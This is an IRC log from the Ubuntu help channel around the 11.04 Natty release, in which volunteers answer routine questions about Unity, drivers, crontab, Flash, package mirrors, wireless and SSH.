[13:32] <heedlu> how do I add widgets to the toolbar in natty? right clicking no longer seems to work.
[13:32] <mvip> oh, that explains a bit
[13:33] <mvip> ok, then I don't need to update. Thnx guys
[13:33] <Dr_Willis> heedlu:  you install various indicator-applets. the old applets domnt work
[13:33] <Dr_Willis> bbl
[13:33] <pumeust> ok i typed 'crontab -e'. it just takes me to the editing part which is where i was. i wanted to know how to save the changes
[13:33] <jatt> heedlu: in unity?
[13:33] <infamous> good morning/afternoon all
[13:33] <Pici> pumeust: Once you save and exit that, the changes are saved.
[13:34] <LjL> pumeust: Ctrl+X
[13:34] <ajin> infamous: good night back!:-D
[13:34] <jatt> heedlu: widgets/applets are not supported in unity
[13:34] <Pici> pumeust: You should see a message after you exit: 'crontab: installing new crontab',  then its done.
[13:34] <Rigorm0rtis> In unity is there any way to separate a maximized window's titlebar from the main panel?
[13:35] <pumeust> pici oh ok i was reading info where that said if i just exit no changes will be made...maybe that's different
[13:35] <jatt> Rigorm0rtis: no
[13:35] <ajin> my ubuntu11.04 resolution suddenly changed after i logged off, do you know why? it was strange
[13:35] <Pici> pumeust: you need to save without your editor though.  It'll save to a temp file and automagically install the crontab as you exit.
[13:36] <Rigorm0rtis> Could I at least change the titlebar text color then? With the New Wave theme it is Black on dark gray for the main panel.
[13:37] <ajin> hello, anyone can help?
[13:37] <BlouBlou> ajin: if you ask something first, sure :)
[13:37] <infamous> ask away ajin
[13:37] <ken> lusers\
[13:37] <ken> exit
[13:37] <ajin> wel, my ubuntu11.04 resolution suddenly changed after i logged off, do you know why? it was strange
[13:38] <BlouBlou> ajin: Is it working fine now?
[13:38] <chewyboy000> Hi
[13:38] <rverrips> Hi All - I've got a weird thing happening in a fresh install of 11.04 - When I goto "About Me ..." and make changes, they aren't saved (There's no SAVE button, only Cancel?)
[13:38] <muneeb> what's solution for flash player in Natty??
[13:38] <chewyboy000> Hi
[13:38] <usr13> ajin: What did it change to?
[13:38] <pumeust> Pici, so i cant do it in the terminal?
[13:38] <chewyboy000> Im updateing yo version 11.04
[13:38] <ajin> i redifined, it works well now
[13:39] <green_> I sant get compiz to work after doing the upgrade on either ubuntu classic or with unity any suggestions?
[13:39] <muneeb> what's solution for flash player in Natty 64bit??
[13:39] <usr13> ajin: Ok very good
[13:39] <Pici> pumeust: Thats not what I said.  crontab -e, make changes. Save, exit.
[13:39] <BlouBlou> green_: I had to change nvidia drivers, I'm using open drivers right now and works fine with compiz
[13:39] <chewyboy000> Go to Ubuntu Soft Ware center an type "flash"
[13:39] <Incarus6> muneeb, http://packages.ubuntu.com/natty/flashplugin-installer
[13:39] <proto> hi all
[13:40] <ajin> usr13: well, my lap-top resolution should be 1024*800, the X sunddenly changed it to 1024*677
[13:40] <proto> i got a strange question
[13:40] <usr13> muneeb: sudo apt-get install adobe-flashplugin
[13:40] <proto> i found the the ubuntu on chip.de
[13:40] <chewyboy000> Hey
[13:40] <infamous> so apt-get upgrade will upgrade the current os server 10.4 to 11.?? but what would one use to upgrade from server to desktop?
[13:40] <chewyboy000> Ge
[13:40] <pumeust> Pici,  sorry when you said i need to save without my editor i thought maybe that mean the terminal
[13:40] <physically_fit> how do i remove my username from the top bar? there's no option to do it now.
[13:40] <chewyboy000> Hey usent
[13:40] <knick> infamous: use do-release-upgrade (as root)
[13:40] <proto> i tried it with wibu the setup start then i get a error
[13:41] <Soothsayer> has Nautilus changed too?
[13:41] <muneeb> Incarus6, usr13 well i was getting errors for nspluginwrapper so i was unable to install so i was thinking is there any alternative?
[13:41] <proto> somethin linge partition not set ?!
[13:41] <wrinkliez> hey doods. is there a reason why my nvidia driver is "activated but not currently in use"?
[13:41] <usr13> muneeb: apt-cache search adobe |grep flash   #If you wanted to search for yourelf
[13:41] <jrib> infamous: if you want desktop and you are on the server, you just install the ubuntu-desktop package
[13:41] <lucydarrow> Hi, I cannot download restricted extras and vlc from software center or apt. It gives error that problem with fetching, while my connection is okay, and also the repo address, I tried main server.
[13:41] <jrib> wrinkliez: restart?
[13:41] <usr13> muneeb: apt-cache search flashplayer
[13:41] <wrinkliez> hey doods. is there a reason why my nvidia driver is "activated but not currently in use"?
[13:41] <jrib> lucydarrow: « sudo apt-get update »
[13:42] <muneeb> usr13, thanks
[13:42] <jrib> wrinkliez: restart?
[13:42] <wrinkliez> oops. jrib: sorry. tried restart. going to remove and tr again
[13:42] <chewyboy000> If you want wubi you have to go to google and search wub i10.10 and select the surgeforce link
[13:42] <wrinkliez> accidentally pushed up before enter, stupid small netbook XD
[13:42] <jrib> wrinkliez: check /var/log/Xorg.0.log and /etc/X11/xorg.conf
[13:42] <Soothsayer> what is that version of Nautilus that allows me to launch a terminal for the current location, etc?
[13:42] <infamous> thank you knick trying now
[13:42] <usr13> muneeb: apt-cache search flashplugin
[13:42] <proto> chewyboy000: is the wubi from ubuntu.com not working ?
[13:42] <pumeust> LjL, thanks, ctrl + x worked
[13:42] <wrinkliez> jrib: i will, thanks
[13:42] <jrib> Soothsayer: nautilus-open-terminal
[13:42] <knick> infamous: you might need to install it, im not sure if it comes by default
[13:42] <chewyboy000> yes
[13:42] <physically_fit> who's having trouble with unity 2d? the launcher doesn't appear when i move the mouse to the left.
[13:43] <lucydarrow> jrib: Okay, will try later later, currently downloading Skype.
[13:43] <chewyboy000> there is an error from wubi on ubuntu.com
[13:43] <Pici> chewyboy000: There is nothing wrong with the one on Ubuntu.com
[13:43] <Soothsayer> and how do I make Nautilus more minimal ?
[13:43] <usr13> muneeb: I ment for you to search for flashplugin  rather than flashplayer
[13:43] <Soothsayer> remove icons, etc
[13:43] <Pici> proto: Exact error messages would be very helpful for us to help you figure out how to fix this.
[13:43] <Pici> chewyboy000: Why do you say that?
[13:43] <chewyboy000> i used wubi from ubuntu.com and it said "failed to get files"
[13:44] <muneeb> usr13, i got it.. but both results show Adobe's solution.. which i  think wont work on my system
[13:44] <physically_fit> is it possible to remove my username from the top bar? there's no option to do it now.
[13:44] <linxeh> Bunneh: :P
[13:44] <Bunneh> :)
[13:44] <proto> Pici: something about partition not set ! it says i shall try it with the partition tool but how i cant find it ?!
[13:44] <Vardan> hi all
[13:44] <Pici> proto: 'something about...' isn't an extact error message.
[13:44] <chewyboy000> proto: thats the problem im having
[13:44] <ajin> anyway, ubuntu11.04 is terrific!
[13:44] <Vardan> people is there any configuration place where can I configure left side bar speed?
[13:45] <ajin> i love UNITY!
[13:45] <infamous> ok knick the do returns no new releases found even with the --mode=desktop argument added any ideas
[13:45] <proto> ok i try to remember ....
[13:45] <misse-> ajin: I'm happy for you
[13:45] <physically_fit> you must love it
[13:45] <m|kael> will it screw up unity if i install gnome3? or can i run them both parallel?
[13:45] <Dr_Willis> Vardan:  check the ccsm unity plugin
[13:45] <Soothsayer> what's the SHORTCUT key for the launcher
[13:45] <Soothsayer> ?
[13:45] <Dr_Willis> m|kael:  they break each other i hear.
[13:45] <tesdsfsfdfds> hello i have a question, i dont like unity, which alternatives are there ?
[13:45] <m|kael> =(
[13:45] <jrib> tesdsfsfdfds: classic? gnome3?
[13:46] <Dr_Willis> tesdsfsfdfds:  claddic gnome desktop is there..
[13:46] <knick> infamous: What version shows up with 'cat /etc/lsb-release' ?
[13:46] <Dr_Willis> classic :)
[13:46] <tesdsfsfdfds> gnome3 i dont like too
[13:46] <tesdsfsfdfds> but classic is super
[13:46] <wrinkliez> m|kael i heard the same
[13:46] <geirha> tesdsfsfdfds: You mean the run dialog? Alt+F2
[13:46] <james296> can anyone tell me if its possible to configure how fast the mouse scroll wheel scrolls through anything?
[13:46] <tesdsfsfdfds> no
[13:46] <m|kael> i guess i have to test gnome3 in vm then
[13:46] <izinucs> tesdsfsfdfds: kubuntu w/ the kde interface.. you can have them both loaded at the same time and choose on login which you want to use
[13:46] <infamous> ubuntu 10.04.1 LTS
[13:47] <infamous> lucid
[13:47] <tesdsfsfdfds> infamous: why dont 10.04.2 ?
[13:47] <Soothsayer> how do I restart Nautilus ?
[13:47] <geirha> tesdsfsfdfds: Oops, sorry, wrong nick
[13:47] <Dr_Willis> Soothsayer:  try killall nautilus, then rerun nautilus
[13:47] <geirha> Soothsayer: By launcher, you mean the run dialog? Alt+F2
[13:47] <izinucs> tesdsfsfdfds: that's actually what infamous has..
[13:48] <knick> infamous: have you performed an 'apt-get update && apt-get dist-upgrade -y'  as root?
[13:48] <zap0> how do you make it use a different mirror?    im trying to upgrade and it gets 404 on 4 packages
[13:48] <knick> infamous: i.e. the latest updates?
[13:48] <Dr_Willis> http://www.omgubuntu.co.uk/2011/04/become-a-natty-power-user-in-no-time-using-this-unit-keyboard-shortcuts-wallpaper/
[13:48] <Dr_Willis> heh. thats handy...
[13:49] <coz_>  hey guys,, just out of complete confusion , what is  this?  http://susegallery.com/a/vkjufU/ubuntu-1111-beta-2
[13:49] <coz_> understand I just woke up lol
[13:49] <usr13> zap0: You could edit /etc/apt/sources.list
[13:49] <Soothsayer> shortcut for launcher again?
[13:49] <Soothsayer> :-(
[13:49] <Dr_Willis> coz_:  misssnamed file perhaps.
[13:50] <Vardan> Dr_Willis:  should I install it, or it installing automatically?
[13:50] <KNUBBIG> Soothsayer: Alt F2
[13:50] <coz_> Dr_Willis,   phew I thought I moved into the future :)
[13:50] <Dr_Willis> Vardan:  install what?
[13:50] <zniavre_> coz_,  haha
[13:50] <Vardan> ccsm
[13:50] <Dr_Willis> Vardan:  its not installed by default..
[13:50] <Dr_Willis> !ccsm
[13:50] <ubottu> To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[13:50] <Incarus6> back. Unity is disappointing in 11.04
[13:50] <Glacia> hello: quick question. Is there an easy guide out there to teach how to SSH to different devices?
[13:51] <coz_> Incarus6,  how is it disappointing for you?
[13:51] <toggles> Anyone know how to configure unity? I'd like to setup Super + N = File->New
[13:51] <zap0> usr13, ok, found it,  where can i get some alternative mirror addresses?
[13:51] <Dr_Willis> Glacia:  ssh ip.of.device.number
[13:51] <Dr_Willis> Glacia:  thats about all there is to it. :)
[13:51] <Incarus6> coz_, it's not working for me (and gnome looks ugly and is old) :D I'm using KDE, just wanted to test Unity
[13:51] <toggles> or maybe someone could tell me how to start a new copy of terminal without requiring three keys
[13:51] <infamous> im going to try something thanks
[13:51] <Glacia> Dr_willis: how do i find the ip of said device
[13:51] <usr13> Glacia: man ssh
[13:51] <Dr_Willis> toggles:  ccsm has some settings in the unity plugin.
[13:51] <Glacia> Dr_willis: via terminal
[13:52] <mikebot> Is there any way to increase the performance of ubuntu? For some reason it is running slower than my windows :? (I installed it on the same partition.)
[13:52] <Dr_Willis> Glacia:  check the device. or scan your network with nmap or other tools.
[13:52] <Soothsayer> found it, it's the Super button
[13:52] <coz_> Incarus6,   so you tried calssic gnome or Unity with the side launcher?
[13:52] <toggles> Dr_Willis: ccsm?
[13:52] <Dr_Willis> !ccsm
[13:52] <wrinkliez> is there a way to get firefox using the overlay scrollbars?
[13:52] <toggles> Dr_Willis: Grazie, found with apt-cache
[13:52] <Incarus6> coz_ both, gnome classic is working as usual, and Unity isn't shown up correctly
[13:52] <Soothsayer> How can I 'remove' the maximize button
[13:52] <Soothsayer> its quite redundant
[13:52] <KNUBBIG> toggles: compizconfig-settings-manager installable via sudo apt-get install
[13:52] <Glacia> Dr_willis, I am trying to sshd to my android phone... i know it can be done since android is a linus based OS and I have a terminal
[13:53] <toggles> KNUBBIG: Grazie
[13:53] <mikebot> Also, how can I access my windows folders whilst in ubuntu?
[13:53] <coz_> Incarus6,  mm which video card do you have there?
[13:53] <studentz> Help  Ubuntu Natty Nvidia driver activated but no currently in use ??
[13:53] <Dr_Willis> Glacia:  you need a ssh server on the phone.  and theres tools for android to show the phones ip#.
[13:53] <Soothsayer> studentz: ignore that
[13:53] <Incarus6> coz_ I can just see the files on my desktop in Unity, nothing else (no menus, etc, except the right click menü), opening these files is working. Im using Nvidia with the proprietary driver (GT220)
[13:53] <usr13> !sources | zap0
[13:53] <ubottu> zap0: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/project/about-ubuntu/components - See https://wiki.ubuntu.com/RecommendedSources for the recommended way to set up your repositories
[13:53] <KNUBBIG> mikebot: if you're not on some complicated disk layout, they should be visible in nautilus by default
[13:53] <mikebot> KNUBBIG: Where though?
[13:53] <zap0> usr13, thank you.
[13:53] <studentz> soothsayer I have huge screen resolution I cannot ignore it :(
[13:54] <coz_> Incarus6,  move your curso to the upper left corner of the screen,, see if the launcher pops up for you
[13:54] <Soothsayer> studentz: no, i didn't say that.
[13:54] <Glacia> ummm help my screen is flashing uncontrollably
[13:54] <Soothsayer> studentz: Go to NVIDIA X Server Settings
[13:54] <KNUBBIG> mikebot: for me they're under devices in nautilus
[13:54] <mikebot> KNUBBIG: Wait, and I might be on the same complicated disc--I'm not sure... I installed it on the same partition..
[13:54] <Glacia> what the hey is going on
[13:54] <Soothsayer> studentz: if that dialog opens, means your drivers are installed.
[13:54] <Incarus6> coz_, I did that, nothing appeared (I'm currently in KDE)
[13:54] <KNUBBIG> mikebot: okay, that sound complicated to me. Not even sure how that is possible
[13:54] <KNUBBIG> sounds*
[13:54] <tashkas> MC-Router API already in use; Errno(98): Address already in use  <--- can somebody fix this?
[13:54] <Belinrahs> I posted on forums: http://ubuntuforums.org/showthread.php?t=1742650 , I installed 10.10 on my hp g62x, WLAN didn't work, followed a guide online to compile and set up ralink driver. I can see networks, when I try and connect to one the animated WiFi icon on the top bar freezes if I click it
[13:55] <osse> mikebot, what do you mean by "on the same partition"? Did you install it from within Windows?
[13:55] <Belinrahs> btw natty I can't even compile the driver so i reverted to 10.10
[13:55] <mikebot> osse: Yes.
[13:55] <mikebot> Oh and I found them in
[13:55] <mikebot> 'Computer'
[13:55] <coz_> Incarus6,  thats sort of odd but not completely,, i have seen Unity not start up correctly  for me and many others,,  not sure what the issue is but apparenlty you are a kde  lover so I suppose its not too important :)
[13:55] <KNUBBIG> ah ok :D
[13:55] <studentz> Soothsayer it says " you dont appear to be using the Nvidia X driver"
[13:56] <tomasz> a wiecie o tej opcji w nowym chrome ?
[13:56] <Incarus6> coz_, I am open for other desktop too ;) (But I don't like the concept of gnome and it is hard to handle with dualscreen)
[13:56] <Pici> !pl | tomasz
[13:56] <ubottu> tomasz: Na tym kanale używamy tylko języka angielskiego. Możesz uzyskać pomoc w języku polskim na #ubuntu-pl.
[13:56] <jrib> !pl | tomasz
[13:56] <osse> mikebot, if they are visible from 'Computer' you probably have the side-pane in the File manager turned off :P Try pressing F9
[13:56] <AceKing> Is there anyway to install an indicator to see what programs are open and running?
[13:56] <tomasz> aaa sorry
[13:56] <tashkas> #ubuntu-lt
[13:56] <studentz> Soothsayer "run nvidia-xconfig asd root" I should do that??
[13:56] <Incarus6> coz_, nevermind, just wanted to test unity, but seems to be released to early ;)
[13:56] <raymondjtoth3> hi
[13:56] <rokyronnie> I use ALSA with 5.1 output, and after a song it's done in audacious my subwoofer remain with no sound, I've to select something different and then select again 5.1 output to get sount again
[13:56] <lars_bauer> cant find my camera on asus A3000. its a ali
[13:56] <Soothsayer> studentz: just run it from the GUI
[13:56] <usr13> AceKing: It is already there.  service
[13:56] <knick> AceKing: go to your terminal and type 'top'
[13:57] <raymondjtoth3> in ubuntu 11.04 how i iinstall the intel witeless 3945 abg driver?
[13:57] <mikebot> osse: I do; thank you. Also, is there a way to increase the performance (speed)? Like, can I change effects or anything?
[13:57] <knick> AceKing: or 'man ps'
[13:57] <lars_bauer> /dev/video0 not found
[13:57] <coz_> Incarus6,  this is true , however I have dual monitors here,, a while back  unity was useless on dual monitor set ups,, its still sort of that way but now uses that darn global menu on both monitors
[13:57] <mikebot> Seems to be much slower than 10.10
[13:57] <raymondjtoth3> im in classic mode
[13:57] <AceKing> usr13, knick, thanks
[13:57] <usr13> AceKing: for applications (rather than services) try    ps aux
[13:57] <Welshy-Rob> hi my keyboard and mouse is not responding when i boot up into windows however is perfectly okay in ubuntu, i was thinking this was maybe a registry error?
[13:57]  * Incarus6 is going to remove ubuntu-desktop from his computer
[13:57] <studentz> Soothsayer I used Jockey and It did not work
[13:57] <KNUBBIG> coz_: it runs fine on dual-display for me
[13:57] <raymondjtoth3> how i install the intel wireless driver for 3945 abg?
[13:57] <Soothsayer> studentz: did you try opening the Nvidia X Server settings?
[13:57] <KNUBBIG> is there any way to execute a terminal command from within irssi?
[13:58]  * wli is interested in going through the packaging system to drop a 64-bit kernel package (additionally patched/customized/etc.) on a 32-bit install. This must be an FAQ but google's defeating me.
[13:58] <usr13> raymondjtoth3: It should already be working
[13:58] <studentz> I did and It shows That I should run nvidia-xconfig
[13:58] <raymondjtoth3> uslr3 its not did disro update and didnt come in
[13:58] <osse> mikebot, if you go to System -> Preferences -> Appearance -> Visual effects you can choose 'None'. That should help
[13:58] <sweb> compbiz could not be install inside ubuntu unity  ?
[13:58] <Dr_Willis> KNUBBIG:  /exec  - check the irssi docs for mor einfo  on it.
[13:58] <mikebot> osse: Thank you
[13:58] <usr13> raymondjtoth3: lspci    #And see how it is actually identified
[13:58] <KNUBBIG> Dr_Willis: thank you
[13:58] <zap0> can i get some help upgrading?
[13:58] <Incarus6> coz_, thats what I like at KDE. Both screens got their own task bar and the window list just lists these windows, which are on the same screen
[13:59] <sweb> compbiz*
[13:59] <Incarus6> zap0, yes
[13:59] <yacc> Any idea where to find libsvn-mirror-perl for Lucid?
[13:59] <mikebot> osse: Only see Theme, Background, Fonts
[13:59] <studentz> Soothsayer I did and It shows that I should run "nvidia-xconfig"
[13:59] <usr13> raymondjtoth3: It was working before you upgraded?
[13:59] <raymondjtoth3> Network controller: Intel Corporation PRO/Wireless 3945ABG [Golan] Network Connection (rev 02)
[13:59] <raymondjtoth3> usr yes it was
[14:00] <zap0> Incarus6, the local mirror has 4 packages missing (404).  how do i make this upgrade/update manager use a different mirror?
[14:00] <Incarus6> studentz, I had the same problem. Run jockey and enable the driver with that
[14:00] <Soothsayer> osse: how come I don't have that tab?
[14:00] <yacc> svk from universe depends on it, but https://launchpad.net/ubuntu/+source/libsvn-mirror-perl seems to show only packages up to karmic?
[14:00] <_Platypus_> Does anyone else suffer a Widescreen effect up booting up?
[14:00] <knick> zap0: edit /etc/apt/sources.list
[14:00] <AceKing> usr13, knick, But is there a way to show in the panel which programs are open? I'm really trying to give this a shot before I switch back to Classic Ubuntu
[14:00] <osse> mikebot, then probably you don't have any desktop effects at all, because somehow it's not supported. Do you know what graphics card you have?
[14:00] <raymondjtoth3> usr13,  what i do yes it was
[14:00] <Dr_Willis> !find mirrorselect
[14:00] <Belinrahs> _Platypus_: not quite sure what you mean by a widescreen effect?
[14:00] <KNUBBIG> Is it normal that there's no start splash while booting?
[14:00] <Incarus6> knick, thank you
[14:00] <studentz> Soothsayer I did it twice and no solution
[14:00] <ubottu> Package/file mirrorselect does not exist in natty
[14:00] <knick> AceKing: I'm not really happy yet with the new interface either... :
[14:00] <raymondjtoth3> usr13,  do i need backports
[14:00] <knick> :-( *
[14:00] <wli> (Essentially to get rid of highmem overhead, maybe tweak some config options, and whatever patches I write on a whim.)
[14:00] <Soothsayer> studentz: hmm..
[14:00] <raymondjtoth3> ?
[14:00] <yacc> http://packages.ubuntu.com/search?suite=default&section=all&arch=any&searchon=names&keywords=libsvn-mirror-perl <= does not show even the Karmic package.
[14:00] <Soothsayer> studentz: try the other driver then
[14:01] <AceKing> knick, I'm glad to see I'm not the only one
[14:01] <manu-UB> Does anyone knows how to install a correct driver for ubuntu on a fujitsu siemens laptop ?
[14:01] <Soothsayer> studentz: did you pick the one with (Recommended) while choosing the Additional Drivers?
[14:01] <knick> AceKing: still tryin to find out how to get my buttons and icons back, and how to place new things in that annoying sidebar..
[14:01] <daxroc> Soothsayer: did you get it sorted after ?
[14:01] <studentz> Soothsayer Yep
[14:01] <Glacia> weird i dont know what just happened
[14:01] <raymondjtoth3> usr13, you still here
[14:01] <_Platypus_> Belinrahs: When I load, and hit the login screen, I will have a section of black on both sides of the screen.
[14:01] <zap0> knick, where do i get a list of alternate mirrors?
[14:01] <Soothsayer> daxroc: get what sorted?
[14:01] <mikebot> osse: No, but this is pretty bad... (I've had other versions on this computer). Also, there are some problems with clicking "OK" and "yes" and "No" in diaglog boxes
[14:01] <mikebot> Ughh
[14:01] <Dr_Willis> using the launcher - guide i just saw ---> http://omgubuntu.co.uk/natty/#launcher
[14:01] <daxroc> Soothsayer: Dual monitors
[14:01] <Glacia> Dr_willis, on my phone I connect to username@ip address right>?
[14:01] <knick> zap0: google "apt sources.list ubuntu <yourversion>"
[14:02] <Incarus6> coz_, http://imgs.xkcd.com/comics/incident.png
[14:02] <Soothsayer> daxroc: yes, its working fine now
[14:02] <Dr_Willis> Glacia:  thats the normal ssh way yes.
[14:02] <raymondjtoth3> guess i get no sireless?(
[14:02] <studentz> Soothsayer also I run nvidia-xconfig and I got stock after grub. So I restarted as a single mode
[14:02] <Belinrahs> _Platypus_: you need to set your screen resolution to a widescreen format
[14:02] <raymondjtoth3> any thing i do to fix this
[14:02] <daxroc> Soothsayer: how did you get it working ?
[14:02] <usr13> raymondjtoth3: iwconfig
[14:02] <dmsuperman> What's the easiest way to tell apt to pull a package not from a specific repo?
[14:02] <dmsuperman> ie ignore packge-name in repo-name
[14:02] <usr13> raymondjtoth3: What does that say     iwconfig
[14:02] <Glacia> Dr_willis, do i have to do anything on my computer side first
[14:02] <KNUBBIG> Incarus6: hahaha :D
[14:02] <AceKing> knick, I hope they redesign this. It looks like a lot of people aren't happy with this
[14:02] <gkahn> hi, anyone can tell me how to download lib64qt3 for Ubuntu 10.04?
[14:02] <Soothsayer> daxroc: ok one thing I did was this http://joeslifewithubuntu.blogspot.com/2010/12/update-on-nvidia-96-driver-with-ubuntu.html
[14:02] <sipior> wli: given that you'd need to rebuild the whole of binutils, and likely glibc as well, it would be vastly simpler just to move to a proper 64-bit install.
[14:03] <Dr_Willis> Glacia:  you need ssh client installed  :) but thats a default on ubuntu systems
[14:03] <manu-UB> anyone could help me with my graphic driver problem?
[14:03] <coz_> Incarus6,   cute
[14:03] <Dr_Willis> Glacia:  and the phone needs a ssh server installed.
[14:03] <osse> mikebot, did you find the Visual Effects tab,?
[14:03] <janjiss> Hi! How can i make my server to start up on boot? I have nginx wich is located in /opt/nginx/sbin/nginx
[14:03] <mikebot> osse: No
[14:03] <knick> AceKing: I used to have an all customized menu, with the tools i preferred and all, but that seems to have gone.. Now if I need a program I just have to type it
[14:03] <Dr_Willis> janjiss:  quick and dirty way. run it from /etc/rc.local
[14:03] <Glacia> i am using irssi on my phoe
[14:03] <Soothsayer> daxroc: and I realized that the Nvida X Server settings window has all the other configuratiosn I need to do. Like enabling the second monitor.
[14:03] <Soothsayer> brb, need to logout, login
[14:03] <_Platypus_> Belinrahs: So that should make it where it remains full screen? And how would I do that? Under System Settings?
[14:03] <Glacia> it is a ssh server client
[14:03] <KNUBBIG> ssh server client?
[14:03] <raymondjtoth3> usr13 that it
[14:03] <Dr_Willis> Glacia:  i  use some android specific irc clients.
[14:03] <syrinx_> lol
[14:03] <janjiss> Dr_Willis: I need to 'ln' it?
[14:03] <osse> Soothsayer, I don't know why you don't have that tab.
[14:04] <AceKing> knick, I know, it's like they took a step back in a way
[14:04] <Dr_Willis> janjiss:  no.. edit rc.local add it near the end.
[14:04] <usr13> raymondjtoth3: Did it say "No wireless extensions"  on all devices?
[14:04] <Belinrahs> _Platypus_: Just a moment
[14:04] <janjiss> Ok, thanx
[14:04] <wli> sipior: Um, the stock compiler and binutils already build 64-bit kernels.
[14:04] <raymondjtoth3> that everthing
[14:04] <raymondjtoth3> from that comnmand
[14:04] <_Platypus_> Belinrahs: No problem. Thank you for taking the time to help me.
[14:04] <sipior> wli: yes. but how do you plan on loading shared libraries with a broken loader?
[14:04] <raymondjtoth3> usr13,  what i do thanks to get this fixxed
[14:05] <Belinrahs> !resolution | _Platypus_
[14:05] <ubottu> _Platypus_: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type « sudo /etc/init.d/?dm restart » in a console - To fix screen resolution or other X problems: https://wiki.ubuntu.com/X/Config/Resolution
[14:05] <cousin_mario> Hello.
[14:05] <usr13> raymondjtoth3: So it DID say "no wireless extensions"  on all devices?
[14:05] <jw_> are there a lot of 11.04 upgrade issues today?
[14:05] <Dr_Willis> jw_:  servers are getting a heavy load.
[14:05] <Belinrahs> _Platypus_: That link should help you fix your resolution
[14:05] <KNUBBIG> jw_: I updated two computers and experienced no problems
[14:05]  * cousin_mario upgraded to natty yesterday and screen effects on gnome disappeared: any hints?
[14:05] <Incarus6> jw_, no, everbody is making a fresh Installation
[14:05] <wers> how do I enable the three finger activation of Unity MT grab? I'm on a MacBook Air
[14:05] <usr13> raymondjtoth3: http://ubuntuforums.org/showthread.php?t=1689100
[14:05] <raymondjtoth3> just whats there
[14:05] <Incarus6> Dr_Willis, I used a local mirror with full speed
[14:06] <Belinrahs> _Platypus_: if you need more help, mention me again and I'll see it
[14:06] <zap0> is there a UI way to change the data in  /etc/apt/source.list
[14:06] <usr13> raymondjtoth3: In the link I just sent you, we see that someone else had a problem with it and they used commands   sudo rfkill unblock all
[14:06] <Soothsayer> anyone using ubuntu tweak on 11.04 ?
[14:06] <osse> mikebot, then I don't know. Sorry. Maybe it will help if you install Ubuntu not from within Windows, but that can be a bit complicated if you're not experienced with creating partitions and so on
[14:06] <Dr_Willis> Soothsayer:  i was during beta. not tried it this week
[14:06] <usr13> raymondjtoth3: and      rfkill list all
[14:07] <Incarus6> zap0, yes, a graphical editor with su rights
[14:07] <_Platypus_> Belinrahs: Thanks :)
[14:07] <usr13> raymondjtoth3: but I don't know what that was all about.  Maybe something to it.  I don't know.
[14:07] <Soothsayer> why did I read somewhere chrome was a part of this Ubuntu ?
[14:07] <mikebot> osse: It's that lenovo doesn't know how to make computers very well, came shippsed with the maximum number of partitions all already used.
[14:07] <mikebot> osse: OK, thank
[14:07] <mikebot> s
[14:07] <knick> Soothsayer: didn't say it was part of it, but compatible with.
[14:07] <Dr_Willis> mikebot:  ive seen that on Other brand PCs also.
[14:07] <Incarus6> zap0, but try "nano", its an easy command line editor, simpler then vim
[14:07] <Soothsayer> knick: i don't see it in the software centre
[14:07] <shaneo_> can someone give me a hand with gnome3 i hate it and want ubuntu classic back
[14:08] <knick> You might have to manually download it
[14:08] <zap0> Incarus6, i didn't mean a text editor.
[14:08] <Dr_Willis> shaneo_:  use the ppa-purge command to remove it prehaps.. and reinstall ubuntu-desktop
[14:08] <Tetsuo55> having the running apps on the left sure takes getting used too
[14:08] <Psychobudgie> shaneo_, you will have to reinstall
[14:08] <Incarus6> zap0, you can change the sources in the software center too
[14:08] <shaneo_> reinstall ??
[14:08] <shaneo_> as in my while OS
[14:08] <sweb> compiz could not be install inside ubuntu unity  ?
[14:09] <Psychobudgie> shaneo_, you know that whole warning about not being able to roll back changes made when you enable the ppa, they weren't joking
[14:09] <Soothsayer> how do I make Ubuntu (with Unity) as the default option during login?
[14:09] <shaneo_> no didnt see it
[14:09] <Soothsayer> I picked Gnome classic once.. and it is that by default :@
[14:10] <shaneo_> downloaded it through ubuntu tweak
[14:10] <wli> sipior: Eh? 32-bit emulation works fine.
[14:10] <shaneo_> so well it looks like im using gnome3 than
[14:10] <Incarus6> Soothsayer, did you boot unity one time since then?
[14:10] <pfarrell_> hi! I'm trying to upgrade, but when I click upgrade in the update manager, it just goes grey, freezes, and then says "could not download release notes"
[14:10] <shaneo_> cause i am not reinstalling and losing all my data
[14:10] <pfarrell_> is the server down?
[14:10] <DJRoby4> hello
[14:10] <sssstavr> Soothsayer just select it once and it will then stay as default
[14:10] <JohnFlux> pfarrell_: I get that error too, and came to ask the same thing :)
[14:10] <osse> mikebot, if you use a so-called extended partition instead of a primary partion you can have as many partitions as you like. The extended partitions works as a "frame" you but logical partitions. But still it means you have to remove one of the partitions you have now.
[14:10] <sipior> wli: you haven't tried it, have you.
[14:10] <Soothsayer> sssstavr: its not!
[14:10] <Incarus6> shaneo_, whats the exact problem?
[14:11] <pfarrell_> JohnFlux: are you also in GB, by any chance?
[14:11] <Belinrahs> DJRoby4: hello, can we help you?
[14:11] <JohnFlux> pfarrell_: yes
[14:11] <Incarus6> Belinrahs, he left
[14:11] <pfarrell_> I suppose it must be the gb server
[14:11] <pfarrell_> maybe I'll try another one
[14:11] <fubuloubu> hi, I just upgraded from ubuntu 10.10 to 11.04
[14:11] <wolf__> how can i start my webcam on ubuntu ?
[14:11] <Belinrahs> Incarus6: Thanks
[14:11] <wli> sipior: I've done it on Debian before. Not a hitch.
[14:11] <shaneo_> Wolf: use cheese
[14:11] <Dania> Guyt s I had electricity cut during upgrade to 11.04 and now on boot i'm getting Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
[14:11] <fubuloubu> having an issue getting unity to start
[14:12] <sipior> wli: then what's stopping you?
[14:12] <trijntje> sweb, unity is a compiz-plugin, but it conflicts with some other plugins if thats what you mean
[14:12] <Incarus6> !cheese | wolf__
[14:12] <wolf__> what
[14:12] <Incarus6> wolf__, try cheese, ubotto doesn't know that
[14:12] <Dania> Guys I had electricity cut during upgrade to 11.04 and now on boot i'm getting Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)
[14:12] <shaneo_> wolf: sudo apt-get install cheese
[14:12] <wolf__> every time i try it it saysmy screen should me 860*don't know what
[14:12] <Incarus6> wolf__, http://packages.ubuntu.com/natty/cheese
[14:12] <sweb>  trijntje, i want to instal simple compiz wizard. ubuntu give me an error
[14:12] <jAguAr`> i need help w/ upgrading ubundu from 10.10 to ll.04
[14:12] <wolf__> how i can use it
